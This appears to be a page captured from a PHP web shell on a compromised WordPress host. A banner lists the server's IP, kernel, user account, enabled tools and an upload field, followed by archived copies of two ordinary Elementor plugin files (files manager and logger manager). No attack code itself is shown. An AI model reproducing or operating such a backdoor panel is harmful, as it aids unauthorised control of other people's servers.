| Server IP : 109.234.162.214 / Your IP : 216.73.216.112 Web Server : Apache System : Linux servd162214.srv.odns.fr 4.18.0-372.26.1.lve.1.el8.x86_64 #1 SMP Fri Sep 16 14:08:19 EDT 2022 x86_64 User : carpe ( 1178) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/carpe/./public_html/space/lbrm3v/ |
Upload File : |
home/carpe/save/wp/wp-content/plugins/elementor/core/files/manager.php 0000644 00000011133 15122125621 0022074 0 ustar 00 <?php
namespace Elementor\Core\Files;
use Elementor\Core\Base\Document as Document_Base;
use Elementor\Core\Common\Modules\Ajax\Module as Ajax;
use Elementor\Core\Files\CSS\Global_CSS;
use Elementor\Core\Files\CSS\Post as Post_CSS;
use Elementor\Core\Page_Assets\Data_Managers\Base as Page_Assets_Data_Manager;
use Elementor\Core\Responsive\Files\Frontend;
use Elementor\Plugin;
use Elementor\Utils;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Elementor files manager.
*
* Elementor files manager handler class is responsible for creating files.
*
* @since 1.2.0
*/
class Manager {
private $files = [];
/**
* Files manager constructor.
*
* Initializing the Elementor files manager.
*
* @since 1.2.0
* @access public
*/
public function __construct() {
$this->register_actions();
}
public function get( $class, $args ) {
$id = $class . '-' . wp_json_encode( $args );
if ( ! isset( $this->files[ $id ] ) ) {
// Create an instance from dynamic args length.
$reflection_class = new \ReflectionClass( $class );
$this->files[ $id ] = $reflection_class->newInstanceArgs( $args );
}
return $this->files[ $id ];
}
/**
* On post delete.
*
* Delete post CSS immediately after a post is deleted from the database.
*
* Fired by `deleted_post` action.
*
* @since 1.2.0
* @access public
*
* @param string $post_id Post ID.
*/
public function on_delete_post( $post_id ) {
if ( ! Utils::is_post_support( $post_id ) ) {
return;
}
$css_file = Post_CSS::create( $post_id );
$css_file->delete();
}
/**
* On export post meta.
*
* When exporting data using WXR, skip post CSS file meta key. This way the
* export won't contain the post CSS file data used by Elementor.
*
* Fired by `wxr_export_skip_postmeta` filter.
*
* @since 1.2.0
* @access public
*
* @param bool $skip Whether to skip the current post meta.
* @param string $meta_key Current meta key.
*
* @return bool Whether to skip the post CSS meta.
*/
public function on_export_post_meta( $skip, $meta_key ) {
if ( Post_CSS::META_KEY === $meta_key ) {
$skip = true;
}
return $skip;
}
/**
* Clear cache.
*
* Delete all meta containing files data. And delete the actual
* files from the upload directory.
*
* @since 1.2.0
* @access public
*/
public function clear_cache() {
// Delete files.
$path = Base::get_base_uploads_dir() . Base::DEFAULT_FILES_DIR . '*';
foreach ( glob( $path ) as $file_path ) {
unlink( $file_path );
}
delete_post_meta_by_key( Post_CSS::META_KEY );
delete_post_meta_by_key( Document_Base::CACHE_META_KEY );
delete_option( Global_CSS::META_KEY );
delete_option( Frontend::META_KEY );
$this->reset_assets_data();
/**
* Elementor clear files.
*
* Fires after Elementor clears files
*
* @since 2.1.0
*/
do_action( 'elementor/core/files/clear_cache' );
}
public function clear_custom_image_sizes() {
$upload_info = wp_upload_dir();
$upload_dir = $upload_info['basedir'] . '/' . BFITHUMB_UPLOAD_DIR;
$path = $upload_dir . '/*';
foreach ( glob( $path ) as $file_path ) {
unlink( $file_path );
}
}
/**
* Register Ajax Actions
*
* Deprecated - use the Uploads Manager instead.
*
* @deprecated 3.5.0
*
* @param Ajax $ajax
*/
public function register_ajax_actions( Ajax $ajax ) {
Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' );
Plugin::$instance->uploads_manager->register_ajax_actions( $ajax );
}
/**
* Ajax Unfiltered Files Upload
*
* Deprecated - use the Uploads Manager instead.
*
* @deprecated 3.5.0
*/
public function ajax_unfiltered_files_upload() {
Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.5.0' );
Plugin::$instance->uploads_manager->enable_unfiltered_files_upload();
}
/**
* Register actions.
*
* Register filters and actions for the files manager.
*
* @since 1.2.0
* @access private
*/
private function register_actions() {
add_action( 'deleted_post', [ $this, 'on_delete_post' ] );
add_filter( 'wxr_export_skip_postmeta', [ $this, 'on_export_post_meta' ], 10, 2 );
add_action( 'update_option_home', function () {
$this->reset_assets_data();
} );
add_action( 'update_option_siteurl', function () {
$this->reset_assets_data();
} );
}
/**
* Reset Assets Data.
*
* Reset the page assets data.
*
* @since 3.3.0
* @access private
*/
private function reset_assets_data() {
delete_option( Page_Assets_Data_Manager::ASSETS_DATA_KEY );
}
}
home/carpe/save/wp/wp-content/plugins/elementor/core/logger/manager.php 0000644 00000015661 15122354740 0022271 0 ustar 00 <?php
namespace Elementor\Core\Logger;
use Elementor\Core\Base\Module as BaseModule;
use Elementor\Core\Common\Modules\Ajax\Module;
use Elementor\Core\Editor\Editor;
use Elementor\Core\Logger\Loggers\Logger_Interface;
use Elementor\Core\Logger\Items\PHP;
use Elementor\Core\Logger\Items\JS;
use Elementor\Plugin;
use Elementor\Modules\System_Info\Module as System_Info;
use Elementor\Utils;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly
}
class Manager extends BaseModule {
protected $loggers = [];
protected $default_logger = '';
public function get_name() {
return 'log';
}
public function shutdown( $last_error = null, $should_exit = false ) {
if ( ! $last_error ) {
$last_error = error_get_last();
}
if ( ! $last_error ) {
return;
}
if ( empty( $last_error['file'] ) ) {
return;
}
if ( ! Utils::is_elementor_path( $last_error['file'] ) ) {
return;
}
$last_error['type'] = $this->get_log_type_from_php_error( $last_error['type'] );
$last_error['trace'] = true;
$item = new PHP( $last_error );
$this->get_logger()->log( $item );
if ( $should_exit ) {
exit;
}
}
public function rest_error_handler( $error_number, $error_message, $error_file, $error_line ) {
// Temporary solution until all PHP notices will be fixed in the core and pro.
if ( Utils::is_wp_cli() ) {
return null;
}
$error = new \WP_Error( $error_number, $error_message, [
'type' => $error_number,
'message' => $error_message,
'file' => $error_file,
'line' => $error_line,
] );
if ( ! Utils::is_elementor_path( $error_file ) ) {
// Do execute PHP internal error handler.
return false;
}
$is_an_error = in_array( // It can be notice or warning
$error_number,
[ E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR ],
true
);
$error_data = $error->get_error_data();
// TODO: This part should be modular, temporary hard-coded.
// Notify $e.data.
if ( $is_an_error && ! headers_sent() ) {
header( 'Content-Type: application/json; charset=UTF-8' );
http_response_code( 500 );
if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
echo wp_json_encode( $error_data );
} else {
echo wp_json_encode( [
'message' => 'Server error, see Elementor => System Info',
] );
}
}
$this->shutdown( $error_data, $is_an_error );
}
public function register_error_handler() {
set_error_handler( [ $this, 'rest_error_handler' ], E_ALL );
}
public function add_system_info_report() {
System_Info::add_report(
'log', [
'file_name' => __DIR__ . '/log-reporter.php',
'class_name' => __NAMESPACE__ . '\Log_Reporter',
]
);
}
/**
* Javascript log.
*
* Log Elementor errors and save them in the database.
*
* Fired by `wp_ajax_elementor_js_log` action.
*
*/
public function js_log() {
/** @var Module $ajax */
$ajax = Plugin::$instance->common->get_component( 'ajax' );
// PHPCS ignore is added throughout this method because nonce verification happens in the $ajax->verify_request_nonce() method.
if ( ! $ajax->verify_request_nonce() || empty( $_POST['data'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
wp_send_json_error();
}
if ( ! current_user_can( Editor::EDITING_CAPABILITY ) ) {
wp_send_json_error( 'Permission denied' );
}
// PHPCS - See comment above.
$data = Utils::get_super_global_value( $_POST, 'data' ) ?? []; // phpcs:ignore WordPress.Security.NonceVerification.Missing
array_walk_recursive( $data, function( &$value ) {
$value = sanitize_text_field( $value );
} );
// PHPCS - See comment above.
foreach ( $data as $error ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
$error['type'] = Logger_Interface::LEVEL_ERROR;
if ( ! empty( $error['customFields'] ) ) {
$error['meta'] = $error['customFields'];
}
$item = new JS( $error );
$this->get_logger()->log( $item );
}
wp_send_json_success();
}
public function register_logger( $name, $class ) {
$this->loggers[ $name ] = $class;
}
public function set_default_logger( $name ) {
if ( ! empty( $this->loggers[ $name ] ) ) {
$this->default_logger = $name;
}
}
public function register_default_loggers() {
$this->register_logger( 'db', 'Elementor\Core\Logger\Loggers\Db' );
$this->set_default_logger( 'db' );
}
/**
* @param string $name
*
* @return Logger_Interface
*/
public function get_logger( $name = '' ) {
$this->register_loggers();
if ( empty( $name ) || ! isset( $this->loggers[ $name ] ) ) {
$name = $this->default_logger;
}
if ( ! $this->get_component( $name ) ) {
$this->add_component( $name, new $this->loggers[ $name ]() );
}
return $this->get_component( $name );
}
/**
* @param string $message
* @param array $args
*
* @return void
*/
public function log( $message, $args = [] ) {
$this->get_logger()->log( $message, $args );
}
/**
* @param string $message
* @param array $args
*
* @return void
*/
public function info( $message, $args = [] ) {
$this->get_logger()->info( $message, $args );
}
/**
* @param string $message
* @param array $args
*
* @return void
*/
public function notice( $message, $args = [] ) {
$this->get_logger()->notice( $message, $args );
}
/**
* @param string $message
* @param array $args
*
* @return void
*/
public function warning( $message, $args = [] ) {
$this->get_logger()->warning( $message, $args );
}
/**
* @param string $message
* @param array $args
*
* @return void
*/
public function error( $message, $args = [] ) {
$this->get_logger()->error( $message, $args );
}
private function get_log_type_from_php_error( $type ) {
$error_map = [
E_CORE_ERROR => Logger_Interface::LEVEL_ERROR,
E_ERROR => Logger_Interface::LEVEL_ERROR,
E_USER_ERROR => Logger_Interface::LEVEL_ERROR,
E_COMPILE_ERROR => Logger_Interface::LEVEL_ERROR,
E_RECOVERABLE_ERROR => Logger_Interface::LEVEL_ERROR,
E_PARSE => Logger_Interface::LEVEL_ERROR,
E_STRICT => Logger_Interface::LEVEL_ERROR,
E_WARNING => Logger_Interface::LEVEL_WARNING,
E_USER_WARNING => Logger_Interface::LEVEL_WARNING,
E_CORE_WARNING => Logger_Interface::LEVEL_WARNING,
E_COMPILE_WARNING => Logger_Interface::LEVEL_WARNING,
E_NOTICE => Logger_Interface::LEVEL_NOTICE,
E_USER_NOTICE => Logger_Interface::LEVEL_NOTICE,
E_DEPRECATED => Logger_Interface::LEVEL_NOTICE,
E_USER_DEPRECATED => Logger_Interface::LEVEL_NOTICE,
];
return isset( $error_map[ $type ] ) ? $error_map[ $type ] : Logger_Interface::LEVEL_ERROR;
}
private function register_loggers() {
if ( ! did_action( 'elementor/loggers/register' ) ) {
do_action( 'elementor/loggers/register', $this );
}
}
public function __construct() {
register_shutdown_function( [ $this, 'shutdown' ] );
add_action( 'admin_init', [ $this, 'add_system_info_report' ], 80 );
add_action( 'wp_ajax_elementor_js_log', [ $this, 'js_log' ] );
add_action( 'elementor/loggers/register', [ $this, 'register_default_loggers' ] );
}
}